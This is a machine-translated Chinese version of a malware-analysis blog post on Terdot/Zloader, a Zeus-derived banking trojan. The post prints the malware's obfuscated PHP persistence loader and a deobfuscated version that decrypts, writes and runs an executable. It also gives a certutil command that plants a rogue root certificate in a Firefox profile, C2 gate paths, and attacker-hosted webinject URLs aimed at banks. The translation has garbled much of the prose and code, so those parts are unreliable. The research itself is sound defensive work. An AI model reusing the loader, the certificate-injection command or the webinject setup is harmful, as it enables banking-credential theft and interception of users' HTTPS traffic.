臭名昭著的宙斯恶意软件的源代码2011年泄露.从那时起,许多网络罪犯采用了它,并用他们自己的想法进行扩充。最近,在开发套件提供的有效载荷中,我们经常发现Terdot。A / Zloader-一个安装在受害者机器上的基于zeu的恶意软件的下载程序。

其有效载荷与文章,并引用了Sphinx这个名字。然而,在咨询了其他研究人员后(特别感谢),我们已经证明作为狮身人面像出售的机器人是非常不同的(样本).因为有许多关于命名的困惑,我们决定坚持命名Terdot Zloader/Zbot。

在这篇文章中,我们将看到这个恶意软件的特性和内部。正如我们将看到的,被丢弃的包不仅包括恶意文件,还包括用于恶意目的的合法应用程序。

分析示例

d45b8a20a991acd01d2ff63735fc1adf-原始可执行文件#1

950368 afb934fd3fd5b2d4e6704b757b-原始可执行文件#2

fca092aca679edd9564d00e9640f939d-原始可执行文件#3

F9373DC232028DA52AD33B017E33BBD3-原始可执行文件#4

分布

大部分分析样本是从-在此详细介绍一些活动:2016年12月28日2017年1月6日,2017年1月18日.但是,我们也遇到过这样的情况,当Terdot。A / Zloaderwas dropped by the malicious email attachment.

行为分析

在运行样例之后,我们可以看到它部署资源管理器,然后终止。很容易猜测,它在那里注入了一些恶意模块。

expl

如果我们将调试器附加到资源管理器进程,我们可以看到注入的shellcode,以及新的pe文件(payload.dll)。这个zloader的典型典型的有趣和不寻常的事情是,DLL不会在内存页面的开头开始,但在shellcode之后:

如果我们有一个互联网连接,Zloader将加载第二阶段(主机器人)并将其注入msiexec.exe。

注入模块信标到CnC,并下载其他模块。观察到的门的模式:

/ FE8hVs3 gs98h.php / bdk / gate.php

通信加密:

CnC响应一个新的PE文件-恶意软件的模块:(client32.dll).下载器在内存中解密它,并进一步注入:一段时间后,我们可以看到资源管理器终止和另一个程序正在部署:msiexec.删除初始的可执行恶意软件。

msiexec

将调试器附加到msiexec,我们可以找到Zbot (client32.dll)植入并在进程空间中运行。

在被注入的模块内部,另一个互联网连接被建立,一些新的元素被下载和删除(包括合法的应用程序,如certutilphp-他们的作用将被进一步描述)。相同的client32.dll也注入到浏览器中。

部署在msiexec.exe内部的模块用作管理器。它在本地打开TCP套接字,并与浏览器中注入的模块通信,以监视打开的页面。

MitM

机器人的主模块下载并将一些新元素丢弃到%Temp%文件夹中。令人惊讶的是,这些文件是非恶意软件。我们可以看到certutil应用程序(0 c6b43c9602f4d5ac9dcf907103447c4)以及它的依赖项——合法的dll。

在同一个文件夹中,还存在一些外来证书(文件名,以及颁发者的名称是随机生成的)。

证书的安装是通过certutil,用于中间人攻击(在这种情况下,它们也被称为浏览器中人)。

示例—在测试期间部署的命令行:

C:\Users\tester\AppData\Local\Temp\certutil.exe" -A -n "otdarufyr" -t "C,C,C" -i "C:\Users\tester\AppData\Local\Temp\nedea. exe"。crt - d " C: \ \试验机\ AppData \漫游用户\ Mozilla Firefox \ \ Profiles \ be7dt337.default”

很容易猜测这种恶意软件的目标是网络浏览器。事实上,如果我们运行浏览器并试图通过HTTPS访问某个站点,我们将看到原始证书被恶意证书所取代。请参阅下面的示例-注意证书的主题包含有效的域-只有发行人字段可以让我们认识到,证书是不合法的:

Firefox上的Satander MitB:

浏览器声称连接是安全的,但当我们看到细节时,我们可以发现,连接是被恶意软件丢弃的假证书“保护”的:

InternetExplorer上的Facebook MitB:

浏览器不会提醒任何不一致-和用户谁不够警惕,以检查证书的细节,可能很容易被欺骗…

如果我们将调试器附加到正在运行的浏览器中,我们可以看到相同的结果client32.dll注入到那里-以及更多用于API重定向的代码。

持久性

除了%TEMP%中的内容,我们还可以看到在%APPDATA%中创建了一些随机名称的新文件夹:

dropped_folders_roaming

有趣的事实是,其中一个包含合法的php.exe(参见VirusTotal:exephp5ts.dll).

dropped_php

和一些模糊的PHP代码:

<?php全局变量“529399110”] =数组''“abs”“f”“ile”“_”“通用电气”“t”“_c”'o'“ntents”“file_put”“_content”“年代”“执行”大小写敏感的'''所以'“cke”“t_get_sta”“t”'我们'“联合国”“链接”基于“增大化现实”技术的“ray_m”“erge”大小写敏感的“我”“agefilter”“一个”“rray_sh”“逆”“年代”“t”“rpti”“我”“strl”“e”'n'“u”“c”“f”“首先”''“ch”“r”“奥德”“年代”瑞银(ubs)的“t”“r”“_re”“地方”“苏”“bstr_re”“p”“漆”“e”'复制'“联合国”“l”'墨水');?><?php函数_2136181597FCVPPX.){fcfeek数组“\ x9b \ X94 \ X61 \ XBD \的Xaa \ XCA \ x4c \ x9a \ 86 \ XC4 \ X5A \ X99 \ XAF \ XD 4 \ X32 \ XB7 \ x9d \ XC2 \ X31 \ xa8 \命苦\ xc7 \ X23 \ XB1 \x8c \ XDB \ X22 \ X83 \ XB6 \ XDB \ X23 \ XB3 \ XB6 \ XCF \ X24 \ X88 \ X98 \ XEB \ X34 \ x9e \ x9b \ XC0 \ X2F \ XDC \ X96 \ XD 4 \ X20"“\ x9b \ x94 \ x61 \ xbd \ xaa \ xca \ x4c \ x9a \ x86 \ xc4 \ x5a \ x99 \ xaf \ xd4 \ x32 \ xb7 \ x9d \ xc2 \ x31 \ xa8 \ xbc \ xc7 \ x23 \ xb1 \ x8c \ xdb \将\ x83 \ xb6 \ xdb \ x23 \ xb3 \ xb6 \ xcf \ x24 \ x88 \ x98 \ xeb \ x34 \ x9e \ x9b \ xc0 \ x2f \ xdc \ x96 \ xd4 \ x20 \ xdd \ x81 \ xc2 \ x2c”“qsgfh”“ojetjlsjqbudwfx”“oktwz”“ekuwdqoqcadeetv”“nxz”'');返回fcfeekFCVPPX.];}?><?phptmgwczl=-圆形的0+277703483.2+277703483.2+277703483.2+277703483.2+277703483.2);erywquk圆形的0+845.75+845.75+845.75+845.75);pvkdnon_21361815970);圆形的0+278+278+278+278)-圆形的0+278+278+278+278))全局变量“529399110”][0) (ehzfpai);zzmnlgm_21361815971);pvkdnongirsztcpvkdnontmgwczl);golkdbl_21361815972);zzmnlgmgirsztczzmnlgmtmgwczl);dtpcqwi全局变量“529399110”][1) (pvkdnon);如果dtpcqwi){mauwmmhgirsztcdtpcqwitmgwczl);全局变量“529399110”][2) (zzmnlgmmauwmmh);全局变量“529399110”][3.) (zzmnlgm);如果全局变量“529399110”][4) (_21361815973.),_21361815974)) !==全局变量“529399110”][5) (opberbwzzmnlgm);(!全局变量“529399110”][6) (zzmnlgm))睡眠圆形的0+0.5+0.5));}函数vsqaxzwujxlctgcuvcjeb){jedmsaecuvcjeb圆形的0+7.75+7.75+7.75+7.75);圆形的0+4457)-圆形的0+1114.25+1114.25+1114.25+1114.25))全局变量“529399110”][7) (cuvcjebujxlctgdtpcqwimauwmmh);返回ujxlctg<<jedmsae) | (ujxlctg> > (圆形的0+16+16)-jedmsae) & ((圆形的0+0.5+0.5)<<(圆形的0+7.75+7.75+7.75+7.75) &jedmsae)) -圆形的0+0.2+0.2+0.2+0.2+0.2)));如果全局变量“529399110”][8) (_21361815975),_21361815976)) !==全局变量“529399110”][9) (opberbw);}函数girsztcehzfpaitmgwczl){fnbzhld_21361815977);如果((圆形的0+1.6666666666667.+1.6666666666667.+1.6666666666667.)+圆形的0+405.75+405.75+405.75+405.75)) >圆形的0+1.25+1.25+1.25+1.25)| |全局变量“529399110”][10) (zzmnlgm));其他的全局变量“529399110”][11) (ehzfpaipvkdnonabwytbw);}abwytbw全局变量“529399110”][12) (ehzfpai);圆形的0+15+15+15+15+15)-圆形的0+25+25+25))全局变量“529399110”][13) (pvkdnonmauwmmh为();opberbw圆形的0);opberbw<abwytbw+ +;opberbw){xqnsess全局变量“529399110”][14) (全局变量“529399110”][15) (ehzfpaiopberbw})^(tmgwczl圆形的0+85+85+85)));如果((圆形的0+366+366+366+366+366) ^圆形的0+610+610+610) & &全局变量“529399110”][16) (tmgwczlmauwmmhehzfpai))全局变量“529399110”][17) (xqnsessujxlctg);fnbzhld.=xqnsess如果((圆形的0+552+552+552) ^圆形的0+1656) & &全局变量“529399110”][18) (jedmsaeopberbw))全局变量“529399110”][19) (pvkdnonfnbzhldopberbw);tmgwczlvsqaxzwtmgwczl圆形的0+4+4))); ++tmgwczl;}返回fnbzhld;}?>

(格式版本这里).

其他文件夹包含一些加密数据,例如:

dropped_encrypted

有趣的是,此PHP包在AutoStart引用:

startup_method

Link将部署被删除的php应用程序,并运行我们之前看到的脚本:

php_startup

我们很容易怀疑这是一种持久性的方法。消除混淆的PHP代码证实了这一猜测。清理后看到相同的代码:

<?php
函数_get_arr_value指数
fcfeek数组
“\ x9b \ X94 \ X61 \ XBD \的Xaa \ XCA \ x4c \ x9a \ 86 \ XC4 \ X5A \ X99 \ XAF \ XD 4 \ X32 \ XB7 \ x9d \ XC2 \ X31 \ xa8 \命苦\ xc7 \ X23 \ XB1 \x8c \ XDB \ X22 \ X83 \ XB6 \ XDB \ X23 \ XB3 \ XB6 \ XCF \ X24 \ X88 \ X98 \ XEB \ X34 \ x9e \ x9b \ XC0 \ X2F \ XDC \ X96 \ XD 4 \ X20"/ / 0
“\ x9b \ x94 \ x61 \ xbd \ xaa \ xca \ x4c \ x9a \ x86 \ xc4 \ x5a \ x99 \ xaf \ xd4 \ x32 \ xb7 \ x9d \ xc2 \ x31 \ xa8 \ xbc \ xc7 \ x23 \ xb1 \ x8c \ xdb \将\ x83 \ xb6 \ xdb \ x23 \ xb3 \ xb6 \ xcf \ x24 \ x88 \ x98 \ xeb \ x34 \ x9e \ x9b \ xc0 \ x2f \ xdc \ x96 \ xd4 \ x20 \ xdd \ x81 \ xc2 \ x2c”/ / 1
“qsgfh”/ / 2
“ojetjlsjqbudwfx”/ / 3
“oktwz”/ / 4
“ekuwdqoqcadeetv”/ / 5
“nxz”/ / 6
''/ / 7
);
返回fcfeek指数];
?>
<?php
关键= -1388517416
erywquk3383
in_filename_get_arr_value0);
out_filename_get_arr_value1);
in_filename解码in_filename关键);
#$ in_filename =“c:\ users \ tester \ appdata \ roaming \ vyaxy \ royxh.umh”
golkdbl_get_arr_value2);
out_filename解码out_filename关键);
file_content函数in_filename);
# out_filename = " C: \ \试验机\ AppData \漫游用户\ Vyaxy \ royxh.umh.exe”
如果file_content){
decoded_content解码file_content关键);
写入out_filenamedecoded_content);
执行out_filename);
(!解开out_filename))
睡眠1);
函数shift_decode瓦尔and_val
kand_val31
返回瓦尔<<k) | (瓦尔>>(32- - - - - -k) & ((1< < (31k)) -1));
函数解码in_buffer关键
out_buffer''
input_lenstrlenin_buffer);
(指数0指数<input_len;++指数){
decoded_char空空的奥德in_buffer指数}) ^ (关键0 xff));
out_buffer.=decoded_char
关键shift_decode关键8);
++关键
返回out_buffer
?>

我们可以注意到,这个文件royxh.umh包含恶意软件的加密代码。使用提供的PHP脚本,它被解密回Zloader可执行文件:

fca092aca679edd9564d00e9640f939d

删除的文件将运行并删除。

内部

Zloader -payload.dll

该元素-从初始样品中拆开并注入资源管理器- 是一个下载者 - 被确定为Terdot。A / Zloader.负责连接CnC,下载主要的恶意模块,即Zbot。

payl_lay

Zbot -client32.dll

第二阶段也是DLL——这一次它被注入到DLL中msiexec.exe以及浏览器:

our_zbot.

攻击的目标

bot将自己注入到最流行的浏览器中,以钩住它们的API:

search_browser

它将安装了俄语语言的电脑排除在攻击之外——但它不是像大多数恶意软件那样悄无声息地进行攻击——它非常公开地宣布了这一事实:

ru_not_supported

SQL部分

在机器人内部,我们可以找到2016年底的SQL发布的引用(参见SQLite Release 3.15.1 On 2016-11-04):

sql_str

2016-11-04 12:08:49 1136863 c76576110e710dd5d69ab6bf347c65e36

这些参考资料的出现证实,这款机器人相当新,可能正在积极开发中。

我们还可以看到许多SQL查询和相关的错误消息之间的字符串:

查询

它们用于读取和操作浏览器cookie,这些cookie以SQLite数据库的形式存储。

cookies_manipulate

查询部署:

queries_deployed

浏览器

主模块注入msiexec打开用于与注入浏览器的模块通信的本地TCP套接字。

所有浏览器与特定网站之间的通信首先要通过注入到msiexec中的client32.dll来绕过。

像许多Zbots, Terdot不仅间谍,而且还允许修改显示的内容,通过“webinject”和“WebFakes”。

要钩的站点由配置指定。其中一个示例中的目标列表显示,攻击者的主要兴趣是各种银行:https://gist.github.com/hasherezade/4db462af582c079b0ffa059b1fd2c465#file-targets-txt

webinject是通过在网站内容中添加恶意脚本(专门针对特定目标)来实现的。脚本驻留在由攻击者控制的服务器上。脚本的示例列表,由bot在测试期间获取:

https://duckduck2.online/ca/b.js
https://duckduck2.online/ca/d.js
https://duckduck2.online/ca/g.js
https://duckduck2.online/ca/r.js
https://duckduck2.online/pp/paypal.js
https://duckduck2.online/uk/bos.js
https://duckduck2.online/uk/halifax.js
https://duckduck2.online/uk/hsbc.js
https://duckduck2.online/uk/lloyds.js
https://duckduck2.online/uk/nationwide.js
https://duckduck2.online/uk/natwest.js.
https://duckduck2.online/uk/rbs.js
https://duckduck2.online/uk/santander.js
https://duckduck2.online/uk/barclays.js

在被攻击的站点显示在浏览器中之前,这些java脚本被植入到站点中,同时还有一些更复杂的代码。这种植入的模板从CnC服务器下载。你可以看到一些例子这里

结论

特尔多是另一个基于宙斯的机器人。就特征而言,它与其他银行家类似。然而,我认为它值得一些关注,因为它最近很流行。它是精心准备的,所以我们可能会怀疑它是专业人士的作品。它是积极开发、分布和维护的——因此,我们很有可能在未来看到更多。


这是一篇由Hasherezade撰写的客座文章,他是一个对InfoSec有浓厚兴趣的独立研究员和程序员。她喜欢详细介绍恶意软件,并与社区分享威胁信息。看看她的推特@hasherezade以及她的个人博客:https://hshrzd.wordpress.com